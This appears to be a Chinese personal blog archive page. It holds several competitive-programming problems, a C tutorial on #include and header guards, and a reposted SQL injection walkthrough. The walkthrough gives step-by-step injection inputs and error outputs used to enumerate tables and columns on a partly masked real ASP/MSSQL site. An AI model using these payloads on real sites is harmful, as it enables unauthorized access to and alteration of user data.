三角形
Jun 13th
三角形
Time Limit: 2000/1000 MS (Java/Others) Memory Limit: 32768/32768 K (Java/Others)
Total Submission(s): 217 Accepted Submission(s): 73
假设告诉你三个正整数A,B和C (0<A,B,C<10000),它们分别表示三条边的长度,请判断这三条边是否能够组成一个合法的三角形。
3 3 4 4 3 4 5 3 4 8
Yes Yes No
抗震救灾
Jun 13th
自2009年入秋以来,旱灾致广西、重庆、四川、贵州、云南5省(区、市)5000多万人受灾。截止3月23日,耕地受旱面积1.14亿亩。云南、贵州、广西、四川、重庆5省(区、市)受灾人口6130.6万人,饮水困难人口1807.1万人,饮水困难牲畜1172.4万头,农作物受灾面积503.4万公顷,绝收面积111.5万公顷,直接经济损失达236.6亿元。
由于灾情还在继续恶化,政府想统计受灾的面积,为了把问题简单化,我们假设受灾地区为一凸多边形,现在告诉你每个顶点的坐标,请编程求出受灾面积。
然后是按照逆时针顺序给出的n个顶点的坐标(x1, y1, x2, y2… xn, yn),所有坐标都是整数。
输入数据中所有的整数都在32位整数范围内,n=0表示数据的结束,不做处理。
每个实例的输出占一行。
4 1 0 0 1 -1 0 0 -1 0
2.0
丁磊养猪
Jun 13th

2009年2月17日,丁磊公开表示,网易将投资数千万元在浙江建立养猪场,并将为此创办养猪网,将农业与互联网行业相结合。
在当今互联网时代,人们见证了芙蓉姐姐的成名历程,也习惯了诸如凤姐等人的作秀炒作,按说区区一个“养猪事件”也应该见怪不怪了,但丁磊养猪消息一出,众人仍然被雷到了,雷得大家不得不去认真搜索一下这场互联网史上最严肃的作秀,以窥其养猪背后真正的目的。 但不管外界如何看待此事,引起广泛关注的 “丁磊养猪”计划逐渐从口号变为现实——
2009年11月,网易在浙江的生猪养殖基地已经选定,并已经准备好一切硬件条件。
在2010年1月1日,基地引进一只刚出生的母猪幼仔,假设每只小母猪从第3个年头开始,每年的第一天都会生出4只小母猪,另外,基地也在每年的12月31日售出所有差一天就要年满5周岁的猪。请帮忙计算在第N年(2010年是第一年)的今天(6月13日),网易的养猪基地会存栏多少只猪?
接下来有T行,每行有一个数N(0<N<=40)含义如上所述
3 2 3 5
1 5 29Problem DescriptionWhereIsHeroFrom和XQ喜欢玩智力游戏,因为他们都认为自己比对方聪明,所以每天都要进行一场智力竞赛,现在他们又开始了,他们的游戏规则是这样的,桌子上摆放着n( 1 <= n <= 1000 )条长度分别为L1, L2, L3 ...... Ln的面包,两人轮流执行一次操作,一次操作的定义是:每次每个人可以选取一条或多条面包,然后在选到的面包上切上一刀,切去的部分就归自己所有,规定每一次操作切去的面包总长度不能超过5也不能小于1,如果当前面包不超过5个单位长度,也可以不切直接拿走,循环往复,谁拿走最后的面包为胜。假设他们二人都是足够的聪明,那么请告诉我,如果WhereIsHeroFrom先操作的话,他是否存在必胜策略呢?Input输入数据的第一个数t表示有t组测试数据; 对于每组测试数据,第一行是一个整数n,表示有n个面包,然后一行包含n个整数Li( 0 < Li <= 10^7 ) ,表示每段面包的长度。Output如果WhereIsHeroFrom必胜,输出“Thank you!”; 否则,输出“Cry,men,not crime!”Sample Input2 2 2 2 3 1 2 3Sample OutputThank you! Cry,men,not crime!
有用的Sql注入代码(Z)
Jun 10th
做一个笔记,原文在:http://hi.baidu.com/swjtu/blog/item/54acea5078cd6d501138c27b.html
表名和字段名的获得
_适用情况:
1)数据库是MSSQL
2)连接数据库的只是普通用户
3)不知道ASP源代码
可以进行的攻击 1)对数据内容进行添加,查看,更改
实例: 本文件以 http://www.dy***.com/user/wantpws.asp 为列进行测试攻击。
第一步: 在输入用户名处输入单引号,显示 Microsoft OLE DB Provider for SQL Server 错误 '80040e14' 字符串 ''' 之前有未闭合的引号。
/user/wantpws.asp,行63
说明没有过滤单引号且数据库是MSSQL.
第二步: 输入a';use master;-- 显示 Microsoft OLE DB Provider for SQL Server 错误 '80040e21' 多步 OLE DB 操作产生错误。如果可能,请检查每个 OLE DB 状态值。没有工作被完成。
/user/wantpws.asp,行63 这样说明没有权限了。
第三步: 输入:a' or name like 'fff%';-- 显示有一个叫ffff的用户哈。
第四步: 在用户名处输入 ffff' and 1<>(select count(email) from [user]);-- 显示: Microsoft OLE DB Provider for SQL Server 错误 '80040e37' 对象名 'user' 无效。
/user/wantpws.asp,行96
说明没有叫user的表,换成users试试成功,同时说明有一个叫email的列. (东方飘云的一个办法是输入a' having 1=1-- 一般返回如下也就可以直接得到表名和一个字段名了 Microsoft OLE DB Provider for SQL Server 错误 '80040e14' 列 'users.ID' 在选择列表中无效,因为该列未包含在聚合函数中,并且没有 GROUP BY 子句。
/user/wantpws.asp,行63
)
include的含义(C/C++摘记)
May 13th
最近开始工作了,涉及的是开源C项目,现在正是一个学习过程。本以为信心满满,以为自己C/C++的基础相当扎实,步入工作才发现,菜得不行。
这种菜,是在阅读项目源代码的过程体现出来的。因为实在是看到了太多的陌生的变量声明或函数声明的方式,看得我真的沉迷了,同时也自卑了。
同时也复习了一遍指针,感觉上理解的层次更高了一层,额,应该说往更底层走了,涉及汇编内容了,还有编译一个程序的过程有了新的认识,对于内存的分配有也了更深刻的理解。
虽然让同事说我指针没学好,呵呵,还是虚心接受吧,还好,遇到的是好同事,它们愿意给我讲解,我很高兴。还有一点,我发现,在使用课本上的一些术语与同事进行沟通的时候,发现会互相误解。。。到底是课本太肤浅还是我学得太肤浅导致我的表达不准确呢?随他去吧。
近日,搜罗了很多自己遇到的疑问的回答,并已进行mark,在这里能够进行一些摘抄的笔记,加油!
下面转自一帖子,原址不便放出,希望对大家有所帮助,对于重要话语,我进行摘录,对一些重要句子进行高亮处理。
#include用于在源代码中引用其他的源代码文件
#include有两种写法:
#include <stdio.h> // 使用<>时,编译器仅在系统目录下搜索被引用的文件
#include “stdio.h” // 使用”"时,编译器除了在系统目录下搜索,还会在当前目录下搜索引用的文件
系统目录包括哪些?
一个是编译器内定的目录,这些目录是内建在编译器内部的,不可改变(如果要追究的话,可以看这个文件gcc/gcc/collect2.c),一般为:
/usr/include
/usr/local/include
/usr/lib/gcc-lib/i386-linux/2.95.2/include
/usr/lib/gcc-lib/i386-linux/2.95.2/../../../../include/g++-3
/usr/lib/gcc-lib/i386-linux/2.95.2/../../../../i386-linux/include
可以增加
-nostdinc参数阻止gcc搜索内建路径。
还有一个就是通过-I参数指定的路径
#include的工作原理非常简单,就是将引用文件的内容在#include处展开。
举个例子,有两个文件test.h和main.c
/* test.h */
#ifndef TEST_H
#define TEST_H
#define TEST_STR “This is a test string”
#endif
/* main.c */
#include “test.h”
extern int printf (const char*, …);
int main (int argc, char* argv[])
{
printf(“%s”, TEST_STR);
return 0;
}
那么在编译main.c的时候,#include “test.h”语句被编译器展开,编译器最终看到的main.c应该是这个样子的:
#ifndef TEST_H
#define TEST_H
#define TEST_STR “This is a test string”
#endif
extern int printf (const char*, …);
int main (int argc, char* argv[])
{
printf(“%s”, TEST_STR);
return 0;
}
OK,到这里#include的基本工作原理就清楚了,那么我们为什么要使用#include?
编译器是个傻子,它在碰到不认识的符号的时候就会抱怨,然后罢工。因此,如果我们在源代码中引用了一个外部的对象的时候,会在引用之前增加一个该对象的声明,让编译器先和这个符号熟悉一下,就像extern int printf (const char*, …);
于是,在每个引用到了printf的C文件中,我们都需要加上这么一个声明。一个函数就凑合了,多了怎么办?
对,把这些函数声明都放到stdio.h文件中,这样我只需在每个C文件中写一行#include <stdio.h>,就等同于声明了n个函数。这个偷懒的方法真不错!
由于include可以让我们少写很多代码,这样大家都喜欢include,不光在c文件中include,还在h文件中include。include是可以递归的。这样有时貌似只引用了一个文件,但其实引用了很多个文件。编译器貌似在编译一个十几行代码的C文件,但由于C文件中的头文件被展开,编译器实际上是在编译一个几千行的源文件,编译器真累的不行。所以大家在写源代码的时候务必也照顾一下编译器的感受,不需要的头文件就不要引用了。
同时,由于include可以递归,我们在包含一个头文件的时候往往不能判断出到底包含了那些文件,文件的重复包含无法避免。重复包含头文件是有害的,有时候编译器会向你抱怨某个数据类型或数据结构被重复定义。为了避免头文件被重复包含,我们往往使用下面的技巧:
#ifndef TEST_H
#define TEST_H
/* your file goes here */
#endif
我们看看它的工作原理,如果代码如下
#include “test.h”
#include “test.h”
extern int printf (const char*, …);
int main (int argc, char* argv[])
{
printf(“%s”, TEST_STR);
return 0;
}
那么编译时会被展开为:
#ifndef TEST_H /* 这里TEST_H还没有被define,条件为true,下面的代码会被编译到 */
#define TEST_H /* 这里define了,TEST_H */
#define TEST_STR “This is a test string”
#endif /* #ifndef TEST_H 条件结束 */
#ifndef TEST_H /* 这里TEST_H在上面被define,条件为false,下面的代码会被跳过 */
#define TEST_H /* 这里不会被编译 */
#define TEST_STR “This is a test string” /* 这里不会被编译 */
#endif /* 这里不会被编译, #ifndef TEST_H 条件结束 */
extern int printf (const char*, …);
int main (int argc, char* argv[])
{
printf(“%s”, TEST_STR);
return 0;
}
OK,最后我们来说说c文件和h文件。
对编译器来说,它并不区分c文件和h文件,编译器会一视同仁的认为是源代码文件,即包含源代码的文本文件。
程序员们则约定,将编译器编译的对象命名为.c文件,将上面说的,用来偷懒给别人引用的文件命名为.h文件。
由于h文件是用来被引用的,且往往不能确定被多少人引用,因此,我们在h文件中放的是不会参数数据实体的,比如声明和宏。而产生数据实体的定义则被放在c文件中。试想,如果我们在一个h文件中定义一个变量a,那么凡是引用了这个h文件的c文件中都会定义一个a,编译器到无所谓,为每个c编译出来的o文件分配一个a,而链接器却会向你抱怨a太多了,都不知道用哪个好。